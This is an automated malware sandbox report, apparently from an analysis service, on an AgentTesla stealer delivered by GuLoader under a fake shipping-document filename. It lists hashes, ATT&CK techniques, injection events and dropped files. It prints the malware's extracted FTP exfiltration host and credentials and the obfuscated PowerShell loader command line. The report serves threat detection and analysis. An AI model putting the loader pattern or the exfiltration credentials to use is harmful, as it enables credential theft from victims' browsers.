agenttesla | 85c28df1f833c2212643df5ff0601cb4a203c113065d79fa2be73c150fe5678c

General

Target

Documenti di spedizione 0000876666000.exe
Size

743KB
MD5

7c558f240d951c19ae299c88ca87c458
SHA1

25b8293ef1cff55fa4688d3cedeaada888eea471
SHA256

85c28df1f833c2212643df5ff0601cb4a203c113065d79fa2be73c150fe5678c
SHA512

b460cfed71e8ecfb5e75476e014e387bfa38240ab3fd571d914513666c2dec58783d83a40aa51540ca92300227ddd5d3356259cef3d9d9625bcdee95a6961977
SSDEEP

12288:nXJaAf3gv3zDtlZcqY18aAV0uyBXGuhteUX3whlQj27xpbcbXDKzJ:5aO3gvjs8JV0uyBeUXFOvbcPKF

Score

10^/10

agenttesla guloader credential_access discovery downloader execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.concaribe.com
Port:
21
Username:
[email protected]
Password:
ro}UWgz#!38E

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Loads dropped DLL 1 IoCs

pid	Process
724	Documenti di spedizione 0000876666000.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
36	api.ipify.org
34	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1768	wabmig.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4792	powershell.exe
1768	wabmig.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4792 set thread context of 1768	4792	powershell.exe	91

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4792	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Documenti di spedizione 0000876666000.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wabmig.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4792	powershell.exe
4792	powershell.exe
4792	powershell.exe
4792	powershell.exe
4792	powershell.exe
4792	powershell.exe
4792	powershell.exe
4792	powershell.exe
4792	powershell.exe
1768	wabmig.exe
1768	wabmig.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4792	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4792	powershell.exe
Token: SeDebugPrivilege	1768	wabmig.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 724 wrote to memory of 4792	724	Documenti di spedizione 0000876666000.exe	82
PID 724 wrote to memory of 4792	724	Documenti di spedizione 0000876666000.exe	82
PID 724 wrote to memory of 4792	724	Documenti di spedizione 0000876666000.exe	82
PID 4792 wrote to memory of 1768	4792	powershell.exe	91
PID 4792 wrote to memory of 1768	4792	powershell.exe	91
PID 4792 wrote to memory of 1768	4792	powershell.exe	91
PID 4792 wrote to memory of 1768	4792	powershell.exe	91
PID 4792 wrote to memory of 1768	4792	powershell.exe	91

C:\Users\Admin\AppData\Local\Temp\Documenti di spedizione 0000876666000.exe
"C:\Users\Admin\AppData\Local\Temp\Documenti di spedizione 0000876666000.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:724
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Pluffy=Get-Content 'C:\Users\Admin\AppData\Roaming\Fastlggende246\Foundlings.Fri';$Perspektivplanlgning=$Pluffy.SubString(53622,3);.$Perspektivplanlgning($Pluffy)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4792
- - C:\Program Files (x86)\windows mail\wabmig.exe
    "C:\Program Files (x86)\windows mail\wabmig.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qo034zni.zko.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nse6B10.tmp\nsExec.dll

Filesize
6KB

MD5
7f4a854abf13869f8b0f3c8952a1d4b0

SHA1
41c1dc531094abb81e5c37a04e7b88da14dd3980

SHA256
971b9daea9ad21621ac81776c13fdd899979ab920fed44c9066a41f60b961a4c

SHA512
df775a146adb801659bfec3921cf66975c8fa1425c66081ac168dc6294151d4a05c0c478d3d86fb445176bc7e775bd0165e8900d4354783ecdb9fab58a612dbe

Download Submit
C:\Users\Admin\AppData\Roaming\Fastlggende246\Foundlings.Fri

Filesize
52KB

MD5
c2daf3495fbdf56bb82b3f3150b82a1e

SHA1
8c4fe9e8379ffdaee68095762e162498f8b543d6

SHA256
05ce8fd673b4b10c44cad2c99c0da407901af4c2189d61be8ee03d413ee315cf

SHA512
6cc8afcd900d0c2ea6028734a681c36092448211a9c34d47c85beea2e3a98d2971ad99a38be13f5ec69a86923c243973f0926e4752ac4161f7a02acb7870d4c2

Download Submit
C:\Users\Admin\AppData\Roaming\Fastlggende246\luciano.Bil

Filesize
329KB

MD5
2a590d5d11096eedc75e7ca38fcf7342

SHA1
35cb9b3243f8fdfcbaa509137fd44eaba2ca88d9

SHA256
d616ac1cac6f54ec874780c488aa60826a8b6ed3823fa3fe991276a71a5d9970

SHA512
6b2c7626ae6bd7becd9d0b300d8b5c58659738812fa14cff3f953a7d031a902be3d406cd00e1afc63fe6fea83b5eb02526315e10dd6ac14aedf252cb3970088a

Download Submit
memory/1768-52-0x0000000077481000-0x00000000775A1000-memory.dmp

Filesize
1.1MB

Download
memory/1768-59-0x0000000000400000-0x0000000001654000-memory.dmp

Filesize
18.3MB

Download
memory/1768-61-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/1768-51-0x0000000077508000-0x0000000077509000-memory.dmp

Filesize
4KB

Download
memory/1768-62-0x0000000023AC0000-0x0000000023B10000-memory.dmp

Filesize
320KB

Download
memory/1768-50-0x0000000077481000-0x00000000775A1000-memory.dmp

Filesize
1.1MB

Download
memory/1768-49-0x0000000001660000-0x0000000005010000-memory.dmp

Filesize
57.7MB

Download
memory/1768-63-0x0000000023BB0000-0x0000000023C42000-memory.dmp

Filesize
584KB

Download
memory/1768-64-0x0000000023AA0000-0x0000000023AAA000-memory.dmp

Filesize
40KB

Download
memory/4792-37-0x00000000738F0000-0x00000000740A0000-memory.dmp

Filesize
7.7MB

Download
memory/4792-45-0x00000000738F0000-0x00000000740A0000-memory.dmp

Filesize
7.7MB

Download
memory/4792-33-0x00000000071F0000-0x0000000007794000-memory.dmp

Filesize
5.6MB

Download
memory/4792-31-0x00000000060A0000-0x00000000060BA000-memory.dmp

Filesize
104KB

Download
memory/4792-35-0x0000000007E20000-0x000000000849A000-memory.dmp

Filesize
6.5MB

Download
memory/4792-30-0x0000000006B40000-0x0000000006BD6000-memory.dmp

Filesize
600KB

Download
memory/4792-38-0x00000000738F0000-0x00000000740A0000-memory.dmp

Filesize
7.7MB

Download
memory/4792-39-0x00000000738F0000-0x00000000740A0000-memory.dmp

Filesize
7.7MB

Download
memory/4792-29-0x0000000005BD0000-0x0000000005C1C000-memory.dmp

Filesize
304KB

Download
memory/4792-41-0x00000000738F0000-0x00000000740A0000-memory.dmp

Filesize
7.7MB

Download
memory/4792-42-0x00000000738FE000-0x00000000738FF000-memory.dmp

Filesize
4KB

Download
memory/4792-44-0x00000000738F0000-0x00000000740A0000-memory.dmp

Filesize
7.7MB

Download
memory/4792-43-0x00000000084A0000-0x000000000BE50000-memory.dmp

Filesize
57.7MB

Download
memory/4792-32-0x00000000060F0000-0x0000000006112000-memory.dmp

Filesize
136KB

Download
memory/4792-46-0x00000000738F0000-0x00000000740A0000-memory.dmp

Filesize
7.7MB

Download
memory/4792-48-0x00000000738F0000-0x00000000740A0000-memory.dmp

Filesize
7.7MB

Download
memory/4792-28-0x0000000005B90000-0x0000000005BAE000-memory.dmp

Filesize
120KB

Download
memory/4792-27-0x00000000055A0000-0x00000000058F4000-memory.dmp

Filesize
3.3MB

Download
memory/4792-17-0x0000000005530000-0x0000000005596000-memory.dmp

Filesize
408KB

Download
memory/4792-16-0x00000000054C0000-0x0000000005526000-memory.dmp

Filesize
408KB

Download
memory/4792-15-0x0000000005320000-0x0000000005342000-memory.dmp

Filesize
136KB

Download
memory/4792-14-0x0000000004CF0000-0x0000000005318000-memory.dmp

Filesize
6.2MB

Download
memory/4792-13-0x00000000738F0000-0x00000000740A0000-memory.dmp

Filesize
7.7MB

Download
memory/4792-12-0x00000000025A0000-0x00000000025D6000-memory.dmp

Filesize
216KB

Download
memory/4792-11-0x00000000738FE000-0x00000000738FF000-memory.dmp

Filesize
4KB

Download

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